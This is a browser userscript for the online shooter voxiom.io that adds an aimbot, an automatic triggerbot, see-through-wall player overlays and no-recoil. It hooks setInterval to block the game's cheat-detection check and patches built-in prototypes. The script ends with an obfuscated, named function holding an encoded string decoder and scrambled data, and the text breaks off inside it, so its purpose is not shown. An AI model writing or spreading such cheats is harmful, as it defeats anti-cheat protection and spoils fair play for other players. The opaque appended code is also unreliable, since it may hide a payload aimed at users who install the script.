Aimbot, triggerbot, chams, no-recoil for voxiom.io
// ==UserScript== // @name VOXploit FRIEND SYSTEM // @namespace http://tampermonkey.net/ // @match https://voxiom.io/* // @run-at document-start // @grant none // @version 1.0.4 // @author ClosetCheater // @description Aimbot, triggerbot, chams, no-recoil for voxiom.io // @license GPL // @require https://cdn.jsdelivr.net/npm/[email protected]/dist/lil-gui.umd.min.js // @require https://unpkg.com/[email protected]/build/three.min.js // @icon https://www.google.com/s2/favicons?sz=64&domain=voxiom.io // ==/UserScript== const THREE = window.THREE; delete window.THREE; // avoid detection const matchDetection = /^function\(\){\w+\['\w+'\]\(\);}$/; const setIntervalHandler = { apply: function(target, thisArg, argumentsList) { const callback = argumentsList[0]; const delay = argumentsList[1]; if (delay === 1000 && callback && callback.toString().match(matchDetection)) { console.log('Blocked detection'); return null; } return Reflect.apply(...arguments); } }; window.setInterval = new Proxy(window.setInterval, setIntervalHandler); // add #lil-gui container const lilGuiContainer = document.createElement('div'); lilGuiContainer.id = 'lil-gui'; document.body.appendChild(lilGuiContainer); window.friends = []; const style = document.createElement('style'); const guiStyle = document.createElement('style'); const GUI = lil.GUI; const gui = new GUI({ container: lilGuiContainer, title: 'Controls' }); let espConfig = { heightLine: 1.16, sneakHeight: 0.4, ennemyDistance: 50, maxAngleInRadians: 0.1, noRecoil: true, showBox: 0, showOutline: 0, showPlayer: 2, showLine: 1, wireframe: false, allEnnemies: false, isSniper: false, aimbot: 2, triggerBot: 2, aimbotIgnoreWall: false, mapZoom: 30, mapOffsetZ: 0, autoClaimAds: false, antiAFK: false, rainbow: false, showAimRadius: false, lockAimbotTriggerBot: false, aimbotKey: 'b', triggerBotKey: 't', toggleUIKey: '.', friends: [], showNameTags: false, }; const aimbotFolder = gui.addFolder('Aimbot'); aimbotFolder.add(espConfig, 'aimbot').name(`aimbot (${espConfig.aimbotKey})`).options({Off: 0, LeftClick: 1, RightClick: 2, Always: 3}).listen(); aimbotFolder.add(espConfig, 'triggerBot').name(`triggerBot (${espConfig.triggerBotKey})`).options({Off: 0, LeftClick: 1, RightClick: 2, Always: 3}).listen(); aimbotFolder.add(espConfig, 'noRecoil'); aimbotFolder.add(espConfig, 'allEnnemies'); aimbotFolder.add(espConfig, 'isSniper'); const advancedAimbotFolder = aimbotFolder.addFolder('Advanced'); advancedAimbotFolder.close(); advancedAimbotFolder.add(espConfig, 'aimbotIgnoreWall'); advancedAimbotFolder.add(espConfig, 'showAimRadius'); advancedAimbotFolder.add(espConfig, 'maxAngleInRadians', 0.01, 0.5, 0.01); advancedAimbotFolder.add(espConfig, 'heightLine', .5, 1.25, 0.01); advancedAimbotFolder.add(espConfig, 'sneakHeight', 0, 1, 0.01); const chamsFolder = gui.addFolder('Chams'); chamsFolder.close(); chamsFolder.add(espConfig, 'showPlayer').options({Off: 0, Ennemies: 1, All: 2}); chamsFolder.add(espConfig, 'showLine').options({Off: 0, Ennemies: 1, All: 2}); chamsFolder.add(espConfig, 'showOutline').options({Off: 0, Ennemies: 1, All: 2}); chamsFolder.add(espConfig, 'showBox').options({Off: 0, Ennemies: 1, All: 2}); chamsFolder.add(espConfig, 'ennemyDistance', 10, 100, 1); chamsFolder.add(espConfig, 'wireframe'); chamsFolder.add(espConfig, 'showNameTags'); chamsFolder.add(espConfig, 'rainbow'); chamsFolder.add(espConfig, 'mapZoom', 20, 100, 1); chamsFolder.add(espConfig, 'mapOffsetZ', -50, 50, 1); const toolsFolder = gui.addFolder('Tools'); toolsFolder.close(); toolsFolder.add(espConfig, 'autoClaimAds'); toolsFolder.add(espConfig, 'antiAFK'); toolsFolder.add(espConfig, 'lockAimbotTriggerBot'); // load/save config const configFolder = gui.addFolder('Config'); configFolder.add(espConfig, 'toggleUIKey').name('Toggle UI key'); configFolder.add(espConfig, 'aimbotKey').name('Aimbot key'); configFolder.add(espConfig, 'triggerBotKey').name('Triggerbot key'); configFolder.close(); const defaultConfig = gui.save(); let config = { configName: 'espConfig' }; configFolder.add(config, 'configName').name('Config name'); configFolder.add({ export: () => { const currentConfig = JSON.stringify(gui.save(), null, 2); const element = document.createElement('a'); element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(currentConfig)); element.setAttribute('download', config.configName + '.json'); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); }}, 'export').name('Export config'); configFolder.add({ import: () => { const input = document.createElement('input'); input.type = 'file'; input.accept = '.json'; input.onchange = (e) => { const file = e.target.files[0]; const reader = new FileReader(); reader.onload = (e) => { gui.load(JSON.parse(e.target.result)); }; reader.readAsText(file); }; input.click(); }}, 'import').name('Import config'); configFolder.add({ reset: () => { gui.load(defaultConfig); localStorage.removeItem('espConfig'); }}, 'reset').name('Reset config'); configFolder.add({ addFriend: () => { espConfig.friends.push(window.prompt("Enter name of friends you want to add:")); friends = espConfig.friends; }}, 'addFriend').name('Add friend'); configFolder.add({ removeFriend: () => { friends = espConfig.friends; // Assuming `friends` is a global or typo for `espConfig.friends` let friendList = ""; for (let i = 0; i < espConfig.friends.length; i++) { // Use espConfig.friends consistently friendList += espConfig.friends[i]; friendList += "(" + i + ")"; if (i != espConfig.friends.length - 1) { friendList += ", "; } } window.alert(friendList); let itemToRemove = window.prompt("Enter name or index of friend to remove:"); let removed; if (itemToRemove === null) { window.alert("Removal canceled."); return; // Exit early if canceled } // Try converting to a number let index = parseInt(itemToRemove, 10); // Base 10 for integers if (!isNaN(index) && index >= 0 && index < espConfig.friends.length) { // It’s a valid index removed = espConfig.friends.splice(index, 1); } else { // Treat as a name (string) for (let i = 0; i < espConfig.friends.length; i++) { if (espConfig.friends[i] === itemToRemove) { removed = espConfig.friends.splice(i, 1); break; } } } if (removed && removed.length > 0) { window.alert(removed[0] + " is removed from friend list."); } else { window.alert(itemToRemove + " not found."); } }}, 'removeFriend').name('Remove friend'); // auto load/save config const savedConfig = localStorage.getItem('espConfig'); if (savedConfig) { console.log('Loaded config', savedConfig); gui.load(JSON.parse(savedConfig)); } gui.onChange(() => { localStorage.setItem('espConfig', JSON.stringify(gui.save())); }); // listen for key press document.addEventListener('keydown', (e) => { if (!espConfig.lockAimbotTriggerBot && e.key === espConfig.aimbotKey) { espConfig.aimbot = (espConfig.aimbot + 1) % 4; } if (!espConfig.lockAimbotTriggerBot && e.key === espConfig.triggerBotKey) { espConfig.triggerBot = (espConfig.triggerBot + 1) % 4; } if (e.key === espConfig.toggleUIKey) { lilGuiContainer.style.display = lilGuiContainer.style.display === 'none' ? 'block' : 'none'; } if (e.key === 'e') { if (espConfig.autoClaimAds) { setTimeout(() => { claimAds(); }, 100); } } }); // no-recoil let foundRecoil = false; const arrayPushHandler = { apply: function(target, thisArg, argumentsList) { if (!foundRecoil && argumentsList.length === 1) { const item = argumentsList[0]; if (item && typeof item === 'object') { const keys = Object.keys(item); if (keys.length === 44) { for (const key in item) { if (item[key] === 0.3) { console.log('Recoil key found', key); foundRecoil = true; Object.defineProperty(Object.prototype, key, { get: () => { return espConfig.noRecoil ? 0 : item[key]; }, set: (baseRecoil) => { _baseRecoil = baseRecoil; } }); break; } } } } } return Reflect.apply(...arguments); } }; Array.prototype.push = new Proxy(Array.prototype.push, arrayPushHandler); // listen for mouse click let isLeftClick = false; let isRightClick = false; document.addEventListener('mousedown', (e) => { if (e.button === 0) { isLeftClick = true; } if (e.button === 2) { if (espConfig.isSniper) { setTimeout(() => { isRightClick = true; }, 400); } else { isRightClick = true; } } }); document.addEventListener('mouseup', (e) => { if (e.button === 0) { isLeftClick = false; } if (e.button === 2) { isRightClick = false; } }); // obfuscaed keys let worldScene = null; let childrenKey = null; let worldCamera = null; let projectionMatrixKey = null; let matrixWorldKey = null; let matrixElKey = null; // three.js setup const scene = new THREE.Scene(); const camera = new THREE.PerspectiveCamera(60, window.innerWidth / window.innerHeight, 0.1, 1000); camera.rotation.order = 'YXZ'; let saveViewport = new THREE.Vector4(); let saveScissor = new THREE.Vector4(); let minimapViewport = new THREE.Vector4(20, window.innerHeight - 250 - 20, 250, 250); const minimapCamera = new THREE.OrthographicCamera(-espConfig.mapZoom, espConfig.mapZoom, espConfig.mapZoom, -espConfig.mapZoom, 0.1, 1000); minimapCamera.rotation.order = 'YXZ'; minimapCamera.position.set(0, 50, 0); minimapCamera.lookAt(0, 0, 0); const renderer = new THREE.WebGLRenderer( { alpha: true, antialias: true }); renderer.setSize(window.innerWidth, window.innerHeight); renderer.setPixelRatio(window.devicePixelRatio); renderer.domElement.id = 'overlayCanvas'; document.body.appendChild(renderer.domElement); function setTransform(target, transform, isMatrix = true) { const matrix = new THREE.Matrix4().fromArray(isMatrix ? transform : transform[matrixWorldKey][matrixElKey]); matrix.decompose(target.position, target.quaternion, target.scale); } doOnce = (fn) => { let done = false; return (...args) => { if (!done) { done = true; return fn(...args); } }; }; function checkWorldCamera(object) { if (worldCamera && object.uuid === worldCamera.uuid) return; let hasProjectionMatrix = false; for (const key in object) { const element = object[key]; if (!element) continue; if (typeof element == 'object') { if (hasProjectionMatrix) continue; const valueKey = Object.keys(element)[0]; const value = element[valueKey]; if (Array.isArray(value) && value[11] === -1) { hasProjectionMatrix = true; matrixElKey = valueKey; projectionMatrixKey = key; } } else if (typeof element === 'function') { const code = element.toString(); const match = /verse'\]\(this\['([^']+)'\]\);/.exec(code); if (match) { matrixWorldKey = match[1]; } } if (hasProjectionMatrix && matrixWorldKey) { console.log('Found camera', {object}, object); worldCamera = object; object[projectionMatrixKey] = new Proxy(object[projectionMatrixKey], { get: function(target, prop, receiver) { setTransform(camera, object, false); camera.near = worldCamera.near; camera.far = worldCamera.far; camera.aspect = worldCamera.aspect; camera.fov = worldCamera.fov; camera.updateProjectionMatrix(); worldCamera = object; window.worldCamera = object; return Reflect.get(...arguments); } }); break; } } } function checkWorldScene(object) { if (worldScene || object instanceof THREE.Scene) return; for (const key in object) { const element = object[key]; if (!element) continue; if (Array.isArray(element) && element.length === 9) { const value = element[0]; if (value && typeof value === 'object' && value.hasOwnProperty('uuid')) { childrenKey = key; } } if (childrenKey) { console.log('Found scene', {childrenKey}, object); worldScene = object; window.worldScene = object; renderer.setAnimationLoop(animate); break; } } } Object.defineProperty( Object.prototype, 'overrideMaterial', { get: function() { checkWorldScene(this); return this._overrideMaterial; }, set: function(value) { this._overrideMaterial = value; } }); Object.defineProperty( Object.prototype, 'far', { get: function() { checkWorldCamera(this); return this._far; }, set: function(value) { this._far = value; } }); function isPlayer(entity) { try { return entity[childrenKey].length > 2 || !entity[childrenKey][1].geometry; } catch { return false; } } // claim ads function claimAds() { document.querySelectorAll('svg').forEach(svg => { if (svg.getAttribute('data-icon') === 'play-circle') { svg.closest('div').click(); console.log('Claimed ads'); } }); } const context2DFillTextHandler = { apply: function(target, thisArg, argumentsList) { thisArg.canvas.lastText = argumentsList[0]; return Reflect.apply(...arguments); } }; CanvasRenderingContext2D.prototype.fillText = new Proxy(CanvasRenderingContext2D.prototype.fillText, context2DFillTextHandler); function isEnnemy(entity) { for (const child of entity[childrenKey]) { try { const matImage = child.material.map.image; if (matImage instanceof HTMLCanvasElement && matImage.hasOwnProperty('lastText')) { entity.playerName = matImage.lastText; return false; } } catch {} } return true; } function setFiring(shouldFire) { if (setFiring.firing === shouldFire) return; setFiring.firing = shouldFire; if (shouldFire) { if (espConfig.isSniper) { // need improvement setTimeout(() => { document.dispatchEvent(new MouseEvent('mousedown', { buttons: 3 })); setTimeout(() => { document.dispatchEvent(new MouseEvent('mouseup', { buttons: 0 })); }, 200); // setFiring.firing = false; }, 300); } else { document.dispatchEvent(new MouseEvent('mousedown', { buttons: 3 })); } } else { document.dispatchEvent(new MouseEvent('mouseup', { buttons: 0 })); } } const colors = { ennemy: new THREE.Color(0xff0000), player: new THREE.Color(0x00ff00), friend: new THREE.Color(0xffff00), blue: new THREE.Color(0x0000ff), }; const outlineMats = { ennemy: new THREE.LineBasicMaterial({ color: colors.ennemy }), player: new THREE.LineBasicMaterial({ color: colors.player }), friend: new THREE.LineBasicMaterial({ color: colors.friend }), }; const meshMats = { ennemy: new THREE.MeshBasicMaterial({ color: colors.ennemy, transparent: true, opacity: 0.5 }), player: new THREE.MeshBasicMaterial({ color: colors.player, transparent: true, opacity: 0.5 }), friend: new THREE.MeshBasicMaterial({ color: colors.friend, transparent: true, opacity: 0.5 }), }; const raycaster = new THREE.Raycaster(); const edgesGeometry = new THREE.EdgesGeometry(new THREE.BoxGeometry(1, 1, 1).translate(0, 0.5, 0)); const lineGeometry = new THREE.BufferGeometry(); const lineMaterial = new THREE.LineBasicMaterial({ vertexColors: true, transparent: true }); const line = new THREE.LineSegments(lineGeometry, lineMaterial); line.frustumCulled = false; scene.add(line); const dummyLookAt = new THREE.PerspectiveCamera(); const color = new THREE.Color(); const chunkMaterial = new THREE.MeshNormalMaterial(); const boxPlayerGeometry = new THREE.BoxGeometry(.25, 1.25, 0.25); // crosshair circle const crosshairGeometry = new THREE.CircleGeometry(.5, 32); const crosshairMaterial = new THREE.LineBasicMaterial({ color: 0xffffff, transparent: true, opacity: 0.2 }); const crosshair = new THREE.LineLoop(crosshairGeometry, crosshairMaterial); camera.add(crosshair); scene.add(camera); function calculateValue(maxAngleInRadians) { const a = -79.83; const b = -30.06; const c = -0.90; return a * Math.exp(b * maxAngleInRadians) + c; } function isFriend(entity) { for (let friend of friends) { if (entity.playerName) { if (entity.playerName.toLowerCase() == friend.toLowerCase()) { console.log(entity.playerName + ' is a friend'); return true; } } } return false; } function createSprite(text, bgColor = '#000') { const fontSize = 40; const strokeSize = 10; const font = 'normal ' + fontSize + 'px Arial'; const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); ctx.font = font; canvas.width = ctx.measureText(text).width + strokeSize * 2; canvas.height = fontSize + strokeSize * 2; ctx.fillStyle = bgColor; ctx.fillRect(0, 0, canvas.width, canvas.height); ctx.font = font; ctx.fillStyle = 'white'; ctx.textBaseline = 'top'; ctx.textAlign = 'left'; ctx.lineWidth = strokeSize; ctx.strokeText(text, strokeSize, strokeSize); ctx.fillText(text, strokeSize, strokeSize); const material = new THREE.SpriteMaterial({ map: new THREE.CanvasTexture(canvas), sizeAttenuation: false, fog: false, depthTest: false, depthWrite: false }); const sprite = new THREE.Sprite(material); sprite.center.y = 0; sprite.scale.y = 0.02; sprite.scale.x = sprite.scale.y * canvas.width / canvas.height; return sprite; } function animate(time) { espConfig.friends = friends; const now = Date.now(); const entities = childrenKey ? worldScene[childrenKey][5][childrenKey] : []; const lineOrigin = camera.localToWorld(new THREE.Vector3(0, 0, -10)); const linePositions = []; crosshair.position.z = calculateValue(espConfig.maxAngleInRadians); crosshair.visible = espConfig.showAimRadius; const colorArray = []; const aimbotTarget = { angleDifference: Infinity}; const chunks = []; const gameChunks = childrenKey ? worldScene[childrenKey][4][childrenKey] : []; for (const chunk of gameChunks) { if (!chunk || !chunk.geometry) continue; const chunkPositions = chunk.geometry.attributes.position.array; if (!chunkPositions || !chunkPositions.length) continue; if (!chunk.myChunk) { const geometry = new THREE.BufferGeometry(); geometry.setAttribute( 'position', new THREE.Float32BufferAttribute(chunkPositions, 3) ); geometry.setIndex( new THREE.BufferAttribute(chunk.geometry.index.array, 1) ); geometry.computeVertexNormals(); geometry.computeBoundingBox(); chunk.myChunk = new THREE.Mesh(geometry, chunkMaterial); chunk.myChunk.box = new THREE.Box3(); } const myChunk = chunk.myChunk; if (chunk.material) chunk.material.wireframe = espConfig.wireframe; setTransform(myChunk, chunk, false); myChunk.updateMatrixWorld(); myChunk.box.copy(myChunk.geometry.boundingBox).applyMatrix4(myChunk.matrixWorld); chunks.push(myChunk); } chunks.sort((a, b) => { const distanceA = a.position.distanceTo(camera.position); const distanceB = b.position.distanceTo(camera.position); return distanceB - distanceA; }); const shouldAimbot = espConfig.aimbot === 3 || (espConfig.aimbot === 1 && isLeftClick) || (espConfig.aimbot === 2 && isRightClick); entities.forEach(entity => { if (!entity || !entity.parent) return; if (!entity.myObject3D) { entity.myObject3D = new THREE.Object3D(); entity.myObject3D.frustumCulled = false; entity.discovered = now; entity.loaded = false; entity.logged = false; entity.ennemy = null; return; } if (typeof entity.visible === 'boolean' && !entity.visible) { entity.myObject3D.visible = false; return; } if (!entity.loaded && now - entity.discovered < 500) return; entity.loaded = true; if (((entity.isFriend != isFriend(entity)) || !entity.logged) && isPlayer(entity)) { entity.isFriend = isFriend(entity); const skinnedMesh = entity[childrenKey][1][childrenKey][3]; entity.isPlayer = true; entity.logged = true; entity.ennemy = isEnnemy(entity); const sprite = createSprite(entity.playerName, colors.friend); entity.myObject3D.add(sprite); entity.myObject3D.sprite = sprite; const playerMesh = new THREE.Mesh(skinnedMesh.geometry, entity.ennemy ? meshMats.ennemy : entity.isFriend ? meshMats.friend : meshMats.player); entity.myObject3D.add(playerMesh); entity.myObject3D.playerMesh = playerMesh; const playerMiniMap = new THREE.Mesh(skinnedMesh.geometry, entity.ennemy ? meshMats.ennemy : entity.isFriend ? meshMats.friend : meshMats.player); playerMiniMap.visible = false; entity.myObject3D.add(playerMiniMap); entity.myObject3D.playerMiniMap = playerMiniMap; const outline = new THREE.LineSegments(edgesGeometry, entity.ennemy ? outlineMats.ennemy : entity.isFriend ? outlineMats.friend : outlineMats.player); outline.scale.set(0.5, 1.25, 0.5); outline.frustumCulled = false; entity.myObject3D.add(outline); entity.myObject3D.outline = outline; const boxMesh = new THREE.Mesh(boxPlayerGeometry, entity.ennemy ? meshMats.ennemy : entity.isFriend ? meshMats.friend : meshMats.player); boxMesh.position.y = 0.625; entity.myObject3D.add(boxMesh); entity.myObject3D.boxMesh = boxMesh; const dir = new THREE.Vector3(0, 0, -1); const origin = new THREE.Vector3(0, 1, 0); const arrowLookingAt = new THREE.ArrowHelper(dir, origin, 1, entity.ennemy ? colors.ennemy : colors.player, 0.5, .4); playerMiniMap.add(arrowLookingAt); setTransform(entity.myObject3D, entity, false); scene.add(entity.myObject3D); } if (entity.isPlayer) { entity.myObject3D.playerMesh.rotation.y = -entity[childrenKey][1].rotation._y; entity.myObject3D.playerMiniMap.rotation.y = -entity[childrenKey][1].rotation._y; const skinnedMesh = entity[childrenKey][1][childrenKey][3]; const isSneak = skinnedMesh.skeleton.bones[4].rotation._x > 0.1; entity.myObject3D.boxMesh.scale.set(1, isSneak ? .4 : 1, 1); entity.myObject3D.outline.scale.set(0.5, isSneak ? .9 : 1.25, 0.5); entity.myObject3D.playerMesh.scale.set(1, isSneak ? .7 : 1, 1); entity.myObject3D.sprite.position.y = entity.isSneak ? 1.1 : 1.5; entity.myObject3D.visible = true; entity.myObject3D.playerMesh.visible = espConfig.showPlayer === 2 || (espConfig.showPlayer === 1 && !entity.ennemy); entity.myObject3D.boxMesh.visible = espConfig.showBox === 2 || (espConfig.showBox === 1 && entity.ennemy); entity.myObject3D.outline.visible = espConfig.showOutline === 2 || (espConfig.showOutline === 1 && entity.ennemy); entity.myObject3D.sprite.visible = espConfig.showNameTags && !entity.ennemy; setTransform(entity.myObject3D, entity, false); // aimbot and line const pos = entity.myObject3D.position.clone(); pos.y -= isSneak ? espConfig.sneakHeight : 0; // line if (espConfig.showLine === 2 || (espConfig.showLine === 1 && entity.ennemy)) { if (espConfig.rainbow) { color.setHSL(time % 2000 / 2000, 1, 0.5); } else if (entity.ennemy) { color.lerpColors(colors.ennemy, colors.player, pos.distanceTo(camera.position) / espConfig.ennemyDistance); color.a = .8; } else { color.set(colors.blue); color.a = .3; } linePositions.push(lineOrigin.x, lineOrigin.y, lineOrigin.z); pos.y += 1.25; linePositions.push(pos.x, pos.y, pos.z); pos.y -= 1.25; colorArray.push(color.r, color.g, color.b, color.a); colorArray.push(color.r, color.g, color.b, color.a); } pos.y += espConfig.heightLine; // aimbot if (shouldAimbot && (entity.ennemy || espConfig.allEnnemies)) { if (entity.isFriend) { return; } const distance = pos.distanceTo(camera.position); const target = pos.clone(); const dummy = new THREE.PerspectiveCamera(); setTransform(dummy, worldCamera, false); dummy.lookAt(target); const cameraVector = new THREE.Vector3(0, 0, -1).applyQuaternion(camera.quaternion); const targetVector = new THREE.Vector3(0, 0, -1).applyQuaternion(dummy.quaternion); const angleDifference = cameraVector.angleTo(targetVector); if (angleDifference < espConfig.maxAngleInRadians && angleDifference < aimbotTarget.angleDifference) { const directionV3 = new THREE.Vector3(); directionV3.subVectors(target, camera.position).normalize(); raycaster.set(camera.position, directionV3); let behindBlock = false; if (espConfig.aimbotIgnoreWall) { aimbotTarget.angleDifference = angleDifference; aimbotTarget.target = target; } else { for (const chunk of chunks) { if (raycaster.ray.intersectsBox(chunk.box)) { const hit = raycaster.intersectObject(chunk)[0]; if (hit && hit.distance < distance) { behindBlock = true; break; } } } if (!behindBlock) { aimbotTarget.angleDifference = angleDifference; aimbotTarget.target = target; color.setHSL(time % 2000 / 2000, 1, 0.5); } } } } } }); // aim at target if (espConfig.aimbot && shouldAimbot && aimbotTarget.target) { setTransform(dummyLookAt, worldCamera, false); dummyLookAt.lookAt(aimbotTarget.target); worldCamera.rotation.set( dummyLookAt.rotation.x, dummyLookAt.rotation.y, dummyLookAt.rotation.z ); } // triggerbot const shouldTrigger = espConfig.triggerBot === 3 || (espConfig.triggerBot === 1 && isLeftClick) || (espConfig.triggerBot === 2 && isRightClick); if (shouldTrigger) { raycaster.set(camera.position, camera.getWorldDirection(new THREE.Vector3())); let hasHit = false; for (const entity of entities) { if (!entity.myObject3D.visible) continue; if (entity.isPlayer && (entity.ennemy || espConfig.allEnnemies)) { const hit = raycaster.intersectObject(entity.myObject3D.playerMesh); if (hit.length) { hasHit = true; if (entity.isFriend) { hasHit = false; break; } const distance = hit[0].distance; for (const chunk of chunks) { if (raycaster.ray.intersectsBox(chunk.box)) { const hitBlock = raycaster.intersectObject(chunk)[0]; if (hitBlock && hitBlock.distance < distance) { hasHit = false; break; } } } if (hasHit) { break; } } } } setFiring(hasHit); } else { setFiring(false); } line.geometry.setAttribute('color', new THREE.Float32BufferAttribute(colorArray, 4)); line.geometry.setAttribute('position', new THREE.Float32BufferAttribute(linePositions, 3)); line.visible = espConfig.showLine; renderer.render(scene, camera); // minimap // make entities larger for minimap const scale = espConfig.mapZoom / 3; entities.forEach(entity => { if (entity.isPlayer) { entity.myObject3D.playerMesh.visible = false; entity.myObject3D.boxMesh.visible = false; entity.myObject3D.outline.visible = false; entity.myObject3D.playerMiniMap.visible = true; entity.myObject3D.playerMiniMap.scale.set(scale, 1, scale); } }); if (worldCamera) { line.visible = false; crosshair.visible = false; // update orthographic camera based on espConfig.mapZoom minimapCamera.left = -espConfig.mapZoom; minimapCamera.right = espConfig.mapZoom; minimapCamera.top = espConfig.mapZoom; minimapCamera.bottom = -espConfig.mapZoom; // update position with camera position minimapCamera.position.copy(camera.position); minimapCamera.position.y += 50; minimapCamera.position.z += espConfig.mapOffsetZ; minimapCamera.rotation.y = camera.rotation.y; minimapCamera.updateProjectionMatrix(); renderer.getViewport(saveViewport); renderer.getScissor(saveScissor); let saveScissorTest = renderer.getScissorTest(); renderer.setViewport(minimapViewport); renderer.setScissor(minimapViewport); renderer.setScissorTest(true); renderer.render(scene, minimapCamera); renderer.setViewport(saveViewport); renderer.setScissor(saveScissor); renderer.setScissorTest(saveScissorTest); } entities.forEach(entity => { if (entity.isPlayer) { entity.myObject3D.playerMiniMap.visible = false; } }); scene.children.forEach(child => { if (child.type === 'Object3D') { child.visible = false; } }); } window.addEventListener('resize', () => { renderer.setSize( window.innerWidth, window.innerHeight ); }); // add style to header style.innerHTML = ` #overlayCanvas { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 1000; } #lil-gui { position: absolute; top: 50%; right: 0; z-index: 1001; transform: translateY(-50%); } .lil-gui { --background-color: rgba(0, 0, 0, 0.5); } `; guiStyle.innerHTML = ` .lil-gui { --title-background-color: #ff0019; --number-color: #00ff33; } `; document.head.appendChild(style); document.head.appendChild(guiStyle); // anti-afk setInterval(() => { if (espConfig.antiAFK) { // move left for .5s then right for .5s document.dispatchEvent(new KeyboardEvent('keydown', { keyCode: 87})); setTimeout(() => { document.dispatchEvent(new KeyboardEvent('keyup', { keyCode: 87})); document.dispatchEvent(new KeyboardEvent('keydown', { keyCode: 83})); setTimeout(() => { document.dispatchEvent(new KeyboardEvent('keyup', { keyCode: 83})); }, 500); }, 500); } }, 5000); // wait for load window.addEventListener('load', () => { console.log('Loaded'); if (espConfig.autoClaimAds) { setTimeout(() => { claimAds(); }, 500); } }); (function убейсебя() { // Data = "var tKa1aN,AULUAl,ZD42Wz,Vj6Jch,yI9ERAQ,BpmsAe,diKEiha,M3snIw,vArK_x;const PI8YG_F=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,!0x1,"g",!0x0,0x65,0x6e,0x2000000,0x4000000,0x2,0x3,0x7f,0x80,0x77,0x78,"ok",null];function YpuH4Ji(tKa1aN){var AULUAl="n&)=Qy?6^f(~4z/+hcplFV$C9JL3,BIse*78KvTi]d2o5utk:!.O0q;#RXN}xYDH>GP`{_|S[bj1%ErZga\"A@wU<mMW",ZD42Wz,Vj6Jch,yI9ERAQ,BpmsAe,diKEiha,M3snIw,vArK_x;TTMtCLM(ZD42Wz=""+(tKa1aN||""),Vj6Jch=ZD42Wz.length,yI9ERAQ=[],BpmsAe=PI8YG_F[0x0],diKEiha=PI8YG_F[0x0],M3snIw=-PI8YG_F[0x1]);for(vArK_x=PI8YG_F[0x0];vArK_x<Vj6Jch;vArK_x++){var YpuH4Ji=AULUAl.indexOf(ZD42Wz[vArK_x]);if(YpuH4Ji===-PI8YG_F[0x1])continue;if(M3snIw<PI8YG_F[0x0]){M3snIw=YpuH4Ji}else{TTMtCLM(M3snIw+=YpuH4Ji*PI8YG_F[0xc],BpmsAe|=M3snIw<<diKEiha,diKEiha+=(M3snIw&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(yI9ERAQ.push(BpmsAe&PI8YG_F[0x3]),BpmsAe>>=PI8YG_F[0x2],diKEiha-=PI8YG_F[0x2])}while(diKEiha>PI8YG_F[0x9]);M3snIw=-PI8YG_F[0x1]}}if(M3snIw>-PI8YG_F[0x1]){yI9ERAQ.push((BpmsAe|M3snIw<<diKEiha)&PI8YG_F[0x3])}return zsfbjJD(yI9ERAQ)}function tWYa_b(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=YpuH4Ji(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}TTMtCLM(tKa1aN={},AULUAl=["#c|SLTB_?NUp)v=o,jQj4","5cD6V0&q#N({<8,2lxH!!!<6>pxE,=KI\"u*;!|w&7XmX&","FB|,qEy6MN4G%S7vE~8eK{#8a4V7M:mhsfr,i{zdp4","/?S!s0Rg{;o_&x(F5O9O0H(UQ","^CD0qO<X$zYEwJR7npujAD3a/pA`y:{p|D[;au.>Q","Len*L0V6\"f8};z?9H=}B7gYB+pq%e3Qc5]6%WX)9GHSb{}w8=H&","x}#?nK#d!H`J.!YcbCEjx@U0tRe9e=","Y}$,)UCdocT_1/.,BGgO)7KN(F%Q&","b2Yj?xTI4DAH%ATTUO9I+S[pWcVFEKf","`{Q(vg1B)4Sb4K{Ia=~Ea0nIO;h1&","Tc2[Z#XzNG/Cf@:L_{@q8b16[z]#Xx4T","<:9!2\"wB;NgK{3a3qClBcKIIBV3(&","QQb?<%fl)fdDFS6p5XeOY:V6}^&3d[\"7FXiQU.n","ov7e~AJqF;`bR}@]iCT6pD_&","}:%.fUA6eXH~4ik38xX;x7FjextsW_2Ty+if)K\"0QztszhxcyB%yba_Hu}jjn","g|`EPaqzTl`~chip1sUsha{UcHB7Ua4FZD8B6DOBtR*_=+*C",")jQy}O*kdD63,kY8POmf|x!&","ZRQ.7g}_np1guzjs&o([I04N++%QK=","({KEAAYC>f3_i3*IFSE,~D]NAXt_!hL2VLHf","~Q@.BSI9(/c_AA>CKjNec#jj;><jh3_svFI,WX4^ql9DAL(","YF#%$T0I1~X","P;feD7m00f","Mu];/%G_D^c{Q+kippcO9Ai8.;v_,h8I9G]?pAHdt+v_Pzjl5v_Sx[bz5/o0&",",+PO;vn","Ev,BLbn29F,zrJ^LSO`eOETp,DjE//3c[F$#z#38KfPV4=Sv/eyjFAn","CGiQ?a>N,GG|@kO30n","lLOEqi|4z}9?5=892BXOo|U99NF[IyL,&B<bfxyd*x)vR=V][n","3{S;cDe)JFM>qxqdN{+;:|;g/Ph\"X:2Tgn","bGIQjKaz1/$c1LET<7nIS.ttJF5}TJGIXu2Oauaz@zog.v2LiF%qv88lcf+#&","Qo&IWraBJG5PoL8JIj|#4j(|AfTbQh4","bDwj,w;pVNJ_S==ck4_L9.ZB6","7{n*cSflYR3(+\"GK9{SfnKA6?",".fk!Tw!znpyhx+Cd$e)[g#G1Z+5_g+{ICCa?j:|?mGN","HDaOTkl8dD!!$ymd~HU0yjfz5~!_^3s2CxlEqiHB&;6?%+ul7j#f","`?Aqw_n2y","Ce#0ATlz3FL=NzL2~!s?","NF(OV0+dEpB%lLTvqSNBj.ilI+]=:=<BC+G?8!^tr+X","?;w00i.I;zcvxAPISv9;/D~&","[s&1d{G_rRdbJYVdtob?JTH12F.P2!p7B4H0m%|?r~7GW![skoL3?:h>Gfdc&","j{([!1=dG+`VeAjL_n","[s$%dYn","Ubc;,g}BZR0V(Y<7OX%E`[qd`;!RF+O3","q4>?JA+_UN1+8|x2mF!3k{}dQ;ff5}>9","D7[;<A,)cxQC`|8sijUQ","C;c;Xtj]y","G,<!&x/|\"x`gZ=w$EDQ(F]aZ|>D|z[diVjkf_74)","K4C!IrTN